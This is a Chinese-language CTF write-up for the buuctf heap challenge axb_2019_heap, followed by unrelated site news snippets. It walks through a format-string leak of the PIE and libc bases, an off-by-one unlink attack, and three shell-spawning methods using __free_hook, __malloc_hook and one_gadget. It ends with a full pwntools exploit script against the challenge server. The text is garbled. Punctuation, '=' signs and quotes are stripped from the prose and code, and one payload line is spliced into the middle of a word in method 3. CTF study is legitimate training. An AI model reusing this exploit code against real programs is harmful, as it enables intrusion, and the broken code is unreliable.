buuctf--axb_2019_heap
这道题说实话出的挺好的各种限制比如保护全开格式化字符串漏洞泄露pie基址和libc基址限制申请的堆块大小并且只可以额外输入一个字节的堆溢出。但是最后我也成功了完成了这个unlink攻击只是最后的getshell错了一点点看了一下题解幡然醒悟并且这里我最后发现了三钟可以成功实现getshell的方法题解里面只是其中一种。接着话不多说来看一下这道题首先查看相关保护可以看到保护全开接着将文件丢入ida64里面大致看了一下发现没有show函数所以泄露libc基址就需要提供一个东西因为这里还开启了Relro,所以没有办法重写got表来实现puts函数泄露这里第6行就提供了一个东西格式化字符串漏洞所以这里我们就是去看这个参数是第几个这里直接去ubuntu里面运行查看直接./程序运行然后输入aaaaaaaa %p %p...但是这里好像有问题看了一下函数是__isoc99_scanf这个函数好像与scanf函数差不多遇到空格就直接停止了所以这里我们就不能用空格了不能用空白字符那么可以随便换一个比如.所以再次运行这里输入之后发现前4位到了偏移为7的位置然后后四位到了偏移为8的位置所以这里我们可以先输入4字节来写入偏移为7的高四位接下来就是偏移为8了可以看到这下我们输入的就到偏移为8了这个前面4字节的填充在使用fmtstr_payload这个函数的时候很重要因为它恰好需要一个准确的偏移所以我们就可以通过先写入4字节然后设置偏移为8不可控字节数为4接着就可以在任意地址写入任意值了不过这里我们的目的是找到能够泄露pie基址和libc基址的偏移所以这里就可以开始调试了直接gdb ./axb_2019_heap然后b main下一个断点接着直接r运行然后一直ni运行到我们格式化字符串漏洞函数的位置这里si进入然后一直ni运行到输入这里继续ni就会换行让我们输入这里输入bbbbaaaaaaaa回车之后stack 30查看栈结构可以看到这里aaaaaaaa的内容前面我们知道这个偏移为8所以后面的main28的偏移为11这个内容可以泄露pie的基址然后后面libc_start_main的偏移为15这个可以泄露libc基址这里泄露pie基址用那个libc_csu_init也可以泄露反正就是减去对应的偏移即可。这里就用这个main28来泄露pie基址吧所以这里就可以得到如下的一个格式化字符串%11$p.%15$p然后就可以写出这样的一部分exppayloadb%11$pb*b%15$p r.sendline(payload) r.recvuntil(bEnter your name: Hello, ) libc_csuint(r.recv(14).decode(),16) pie_addrlibc_csu-0x116A-28 print(hex(pie_addr)) r.recv(1) libc_mainint(r.recv(14),16) libc.addresslibc_main-libc.symbols[__libc_start_main]-240 print(hex(libc.address))这里pie基址如果我们用那个csu的话就是偏移为14然后建议csu_init的偏移最后运行成功泄露接着我们继续往后分析首先看到add函数这个函数就是我们先选一个下标然后输入一个size接着就是输入内容接着看一下这个get_input函数这里存在off by one的漏洞能够额外多写入一个字节不过这里申请的时候应该不用接着看一下释放函数这个是一个非常安全的释放函数没用什么问题接着看到最后的edit函数这个函数也是用get_input所以这里可以额外多写入一个字节接着为这些函数写一些辅助函数def menu(choice): r.recvuntil(b ) r.sendline(str(choice).encode()) def add(index,size,content): menu(1) r.recvuntil(bEnter the index you want to create (0-10):) r.sendline(str(index).encode()) r.recvuntil(bEnter a size:\n) r.sendline(str(size).encode()) r.recvuntil(bEnter the content: \n) r.sendline(content) def edit(index, content): menu(4) r.recvuntil(bEnter an index:\n) r.sendline(str(index).encode()) r.recvuntil(bEnter the content: \n) r.sendline(content) def free(index): menu(2) r.recvuntil(bEnter an index:\n) r.sendline(str(index).encode())然后继续分析这里我们申请的chunk必须大于0x80,所以fast bin攻击就无法实现接着又不存在uaf漏洞fast bin三重释放攻击也不行最后思来想去unlink攻击好像可以用因为地址开启了pie,所以堆块地址需要加上pie基址接着再进行构造payload最后可以得到如下攻击脚本:list0x202060pie_addr add(0,0x88,bgaohsou) add(1,0xf8,bgaoshou) payloadp64(0)p64(0x81)p64(list-0x18)p64(list-0x10)ba*0x60p64(0x80) edit(0,payload) add(2,0x88,b/bin/sh\x00) free(1) #地址变成了list-0x18然后这个时候进行修改这里首先申请一个堆块用于unlink,这个堆块下标为0所以地址就是list首地址然后再申请一个堆块用来进行触发对前一个堆块的unlink操作这个payload就是构造了一个0x81大小的假chunk,然后设置fd和bk,接着将下一个chunk的prev_size设置为0x80因为这个假chunk的size为0x81然后将下一个chunk的低位设置为0也就是将1变成0表示前面的chunk已经释放了最后释放1从而触发对前一个chunk的unlink操作这里注意一下我前面edit函数最后发生payload用的是sendline这个会发送一个换行符然后这个get_input函数里面遇到换行符会将这个换行符变成0也就是字符串结束符从而将低位的1变成0这里也可以最后添加一个\x00也可以实现相同的作用这里最后实现的效果就是将堆块0的地址变成了list-0x18然后这里先填充0x18字节最后就可以随意更改堆块0的地址了这里我研究出了三种getshell的办法首先看到第一种payload1ba*0x18p64(libc.symbols[__free_hook])p64(0x88) edit(0,payload1) edit(0,p64(libc.symbols[system])) free(2)这里将free_hook改为了system函数然后free()函数触发free_hook,而free_hook变成了system函数所以就会直接触发system函数然后这里下标为2的内容是/bin/sh\x00从而触发system(/bin/sh\x00)。从而getshell可以看到可以cat flag。然后接着看到第二种方法 0x45216 execve(/bin/sh, rsp0x30, environ) constraints: rax NULL 0x4526a execve(/bin/sh, rsp0x30, environ) constraints: [rsp0x30] NULL 0xf02a4 execve(/bin/sh, rsp0x50, environ) constraints: [rsp0x50] NULL 0xf1147 execve(/bin/sh, rsp0x70, environ) constraints: [rsp0x70] NULL one_gadget结果 payload1ba*0x18p64(libc.symbols[__malloc_hook])p64(0x88) edit(0,payload1) # malloc_hook onegedgetlibc.address0xf1147 edit(0,p64(onegedget)) add(0,160,b)这个方法是在malloc_hook里面写入one_gadget也就是execve(/bin/sh,...)这个函数所以这里需要注意我们add触发malloc_hook的时候不能改变它第一个参数也就是这个申请的chunk的内容要么为空要么是/bin/sh\x00。这个是满足了rsp0x70的值刚好为0所以这个one_gadget可以实现攻击然后最后一种方法是payload1ba*0x18p64(libc.symbols[__malloc_hook])p64(0x88) edit(0,payload1) onpayload1ba*0x18p64(libc.symbols[__malloc_hook])p64(0x88) edit(0,payload1)egadgetlibc.address0xf02a4 edit(0,p64(onegedget)) free(0)这个方法是通过free函数触发报错然后栈布局重新排布然后满足rsp0x50的位置为0从而实现攻击。这里释放的一般是地址为malloc_hook相关的堆块这里因为我们将第一个堆块地址改为了malloc_hook所以就是释放这个最后完整的poc如下from pwn import * from LibcSearcher import LibcSearcher # context.log_leveldebug context.archamd64 # context.oslinux def menu(choice): r.recvuntil(b ) r.sendline(str(choice).encode()) def add(index,size,content): menu(1) r.recvuntil(bEnter the index you want to create (0-10):) r.sendline(str(index).encode()) r.recvuntil(bEnter a size:\n) r.sendline(str(size).encode()) r.recvuntil(bEnter the content: \n) r.sendline(content) def edit(index, content): menu(4) r.recvuntil(bEnter an index:\n) r.sendline(str(index).encode()) # r.recvuntil(bPlease enter the length of item name:) # r.sendline(str(size).encode()) r.recvuntil(bEnter the content: \n) r.sendline(content) def free(index): menu(2) r.recvuntil(bEnter an index:\n) r.sendline(str(index).encode()) r remote(node5.buuoj.cn, 28523) # libcELF(rC:\Users\lezho\Desktop\My_CTF\PWN!!!\libc库\buuctf-i386\libc-2.23.so) libcELF(rC:\Users\lezho\Desktop\My_CTF\PWN!!!\libc库\buuctf-amd64\libc-2.23.so) elfELF(rC:\Users\lezho\Desktop\misc\axb_2019_heap) payloadb%11$pb*b%15$p r.sendline(payload) r.recvuntil(bEnter your name: Hello, ) libc_csuint(r.recv(14).decode(),16) pie_addrlibc_csu-0x116A-28 print(hex(pie_addr)) r.recv(1) libc_mainint(r.recv(14),16) libc.addresslibc_main-libc.symbols[__libc_start_main]-240 print(hex(libc.address)) list0x202060pie_addr add(0,0x88,bgaohsou) add(1,0xf8,bgaoshou) payloadp64(0)p64(0x81)p64(list-0x18)p64(list-0x10)ba*0x60p64(0x80) edit(0,payload) add(2,0x88,b/bin/sh\x00) free(1) #地址变成了list-0x18然后这个时候进行修改 # 方法1 # payload1ba*0x18p64(libc.symbols[__free_hook])p64(0x88) # edit(0,payload1) # edit(0,p64(libc.symbols[system])) # free(2) 0x45216 execve(/bin/sh, rsp0x30, environ) constraints: rax NULL 0x4526a execve(/bin/sh, rsp0x30, environ) constraints: [rsp0x30] NULL 0xf02a4 execve(/bin/sh, rsp0x50, environ) constraints: [rsp0x50] NULL 0xf1147 execve(/bin/sh, rsp0x70, environ) constraints: [rsp0x70] NULL # 方法2 payload1ba*0x18p64(libc.symbols[__malloc_hook])p64(0x88) edit(0,payload1) # malloc_hook onegedgetlibc.address0xf1147 edit(0,p64(onegedget)) add(0,160,b) #方法3 # onegadgetlibc.address0xf02a4 # edit(0,p64(onegedget)) # free(0) r.interactive()一共三种方法前面我失败的原因就是因为在edit的时候只是覆盖了堆块地址为malloc_hook而没有考虑到换行符变成0将这个堆块的大小变成了0从而根本写不了内容所以这里就还需要写一下堆块的大小。

相关新闻

ROS2 Docker镜像实战:如何定制属于自己的开发环境

ROS2 Docker镜像实战:如何定制属于自己的开发环境

ROS2 Docker镜像实战:如何定制属于自己的开发环境 你是否也厌倦了每次在新机器上配置ROS2开发环境时,那漫长且充满不确定性的过程?从系统依赖、编译器版本到ROS2包的安装,任何一个环节的微小差异都可能导致项目构建失败。更别提团…

2026/5/17 7:26:35 阅读更多 →
实战指南:为达梦数据库构建端到端SSL加密通信

实战指南:为达梦数据库构建端到端SSL加密通信

1. 为什么你的达梦数据库通信需要“上锁”? 想象一下,你每天都要通过邮局寄送一批非常重要的商业合同。这些合同包含了公司的核心数据,比如客户信息、交易金额、未来计划。你会选择把合同直接写在明信片上寄出去,还是会用一个带锁…

2026/7/3 16:49:35 阅读更多 →
DASD-4B-Thinking模型分布式推理:多GPU并行计算配置

DASD-4B-Thinking模型分布式推理:多GPU并行计算配置

DASD-4B-Thinking模型分布式推理:多GPU并行计算配置 1. 引言 如果你正在处理大规模AI推理任务,单张GPU可能已经无法满足你的需求。当模型参数达到40亿级别,比如DASD-4B-Thinking这样的思考型大语言模型,传统的单卡推理往往会遇到…

2026/7/4 12:39:27 阅读更多 →

最新新闻

编程启蒙|Scratch 转 Python 系列第 3 天完整教程

编程启蒙|Scratch 转 Python 系列第 3 天完整教程

本篇是零基础 Python 自学系列 Scratch 转 Python 第 3 天笔记,适合纯小白入门,内容包含实操代码、详细讲解与配套练习题,全程 Scratch 积木代码 Python 双向对照教学。 一、昨日内容复盘(Scratch 转 Python Day2 for 循环与 ra…

2026/7/5 13:36:11 阅读更多 →
玄鹿电竞:用技术重构游戏服务体验,驱动专业护航

玄鹿电竞:用技术重构游戏服务体验,驱动专业护航

在《三角洲行动》的战场中,你是否曾因“老六蹲撤”“摸金翻车”“任务卡关”而遗憾?玄鹿电竞以技术为引擎,打造全链路专业护航平台,从下单、匹配、服务到售后,用数字化架构重构游戏服务体验,让“稳撤满载”…

2026/7/5 13:34:10 阅读更多 →
18、<简单>寻找距离2的幂最近的数字

18、<简单>寻找距离2的幂最近的数字

#include <iostream> using namespace std;int main() {int n;cout << "请输入整数n&#xff1a;";cin >> n;// 先找到小于等于n的最大2的幂 lowint low 1;while (low * 2 < n){low * 2;}int high low * 2; // 大于n的最小2的幂int dis_low …

2026/7/5 13:32:10 阅读更多 →
抖店违规检测工具使用步骤:上架前 3 类素材(主图 / 标题 / 详情)风险筛查指南

抖店违规检测工具使用步骤:上架前 3 类素材(主图 / 标题 / 详情)风险筛查指南

全网通用电商商品违规检测最全教程&#xff1a;新手小白零门槛避坑指南很多电商创业新手、副业小白做店铺运营时&#xff0c;最容易踩的坑就是商品违规。不管是做抖音、抖音小店、微信小店、微信小商城、视频号小店、拼多多、小红书、淘宝等全平台电商&#xff0c;绝大多数新手…

2026/7/5 13:30:10 阅读更多 →
3分钟免费激活Windows系统:KMS_VL_ALL_AIO智能激活工具完全指南

3分钟免费激活Windows系统:KMS_VL_ALL_AIO智能激活工具完全指南

3分钟免费激活Windows系统&#xff1a;KMS_VL_ALL_AIO智能激活工具完全指南 【免费下载链接】KMS_VL_ALL_AIO Smart Activation Script 项目地址: https://gitcode.com/gh_mirrors/km/KMS_VL_ALL_AIO 还在为Windows系统激活而烦恼吗&#xff1f;每次开机看到那个烦人的激…

2026/7/5 13:30:10 阅读更多 →
奇迹 MU 剑与翼手游官网下载:奇迹 MU 剑与翼最新官方下载渠道

奇迹 MU 剑与翼手游官网下载:奇迹 MU 剑与翼最新官方下载渠道

奇迹 MU 剑与翼手游官网下载&#xff1a;奇迹 MU 剑与翼最新官方下载渠道 《奇迹 MU 剑与翼》又名复古 1.03H 奇迹正版、卓越打金奇迹手游&#xff0c;由安徽游昕联合忆往游戏正版运维复刻的经典魔幻 MMORPG。游戏完整还原原版奇迹端游 1.03H 全部内容&#xff0c;勇者大陆、仙…

2026/7/5 13:28:09 阅读更多 →

日新闻

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容

B站视频下载神器BiliTools&#xff1a;5分钟学会轻松保存任何B站内容 【免费下载链接】BiliTools A cross-platform bilibili toolbox. 跨平台哔哩哔哩工具箱&#xff0c;支持下载视频、番剧等等各类资源 项目地址: https://gitcode.com/GitHub_Trending/bilit/BiliTools …

2026/7/5 0:03:34 阅读更多 →
威胁模型全解析:从新手入门到实战应用,助你构建安全产品!

威胁模型全解析:从新手入门到实战应用,助你构建安全产品!

威胁模型的陌生现状在忙碌疲惫的一天里&#xff0c;参与了关于混合后量子密码学的讨论&#xff0c;应付端点攻击找茬的人&#xff0c;还参与留言板讨论后&#xff0c;发现“威胁模型”对多数人仍是陌生概念&#xff0c;且多被当作时髦用语。有趣的相关画作有一幅由 Embyr 创作的…

2026/7/5 0:03:34 阅读更多 →
渗透测试入门指南:从零基础到实战环境搭建

渗透测试入门指南:从零基础到实战环境搭建

1. 从“看热闹”到“入门”&#xff1a;我理解的渗透测试到底是什么&#xff1f;每次看到新闻里说某个大公司的数据被“黑”了&#xff0c;或者某个网站被攻击导致服务瘫痪&#xff0c;你是不是和我一样&#xff0c;心里会冒出两个念头&#xff1a;一是“这黑客真厉害”&#x…

2026/7/5 0:07:38 阅读更多 →

周新闻

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容

B站视频下载神器BiliTools&#xff1a;5分钟学会轻松保存任何B站内容 【免费下载链接】BiliTools A cross-platform bilibili toolbox. 跨平台哔哩哔哩工具箱&#xff0c;支持下载视频、番剧等等各类资源 项目地址: https://gitcode.com/GitHub_Trending/bilit/BiliTools …

2026/7/5 0:03:34 阅读更多 →
威胁模型全解析:从新手入门到实战应用,助你构建安全产品!

威胁模型全解析:从新手入门到实战应用,助你构建安全产品!

威胁模型的陌生现状在忙碌疲惫的一天里&#xff0c;参与了关于混合后量子密码学的讨论&#xff0c;应付端点攻击找茬的人&#xff0c;还参与留言板讨论后&#xff0c;发现“威胁模型”对多数人仍是陌生概念&#xff0c;且多被当作时髦用语。有趣的相关画作有一幅由 Embyr 创作的…

2026/7/5 0:03:34 阅读更多 →
渗透测试入门指南:从零基础到实战环境搭建

渗透测试入门指南:从零基础到实战环境搭建

1. 从“看热闹”到“入门”&#xff1a;我理解的渗透测试到底是什么&#xff1f;每次看到新闻里说某个大公司的数据被“黑”了&#xff0c;或者某个网站被攻击导致服务瘫痪&#xff0c;你是不是和我一样&#xff0c;心里会冒出两个念头&#xff1a;一是“这黑客真厉害”&#x…

2026/7/5 0:07:38 阅读更多 →

月新闻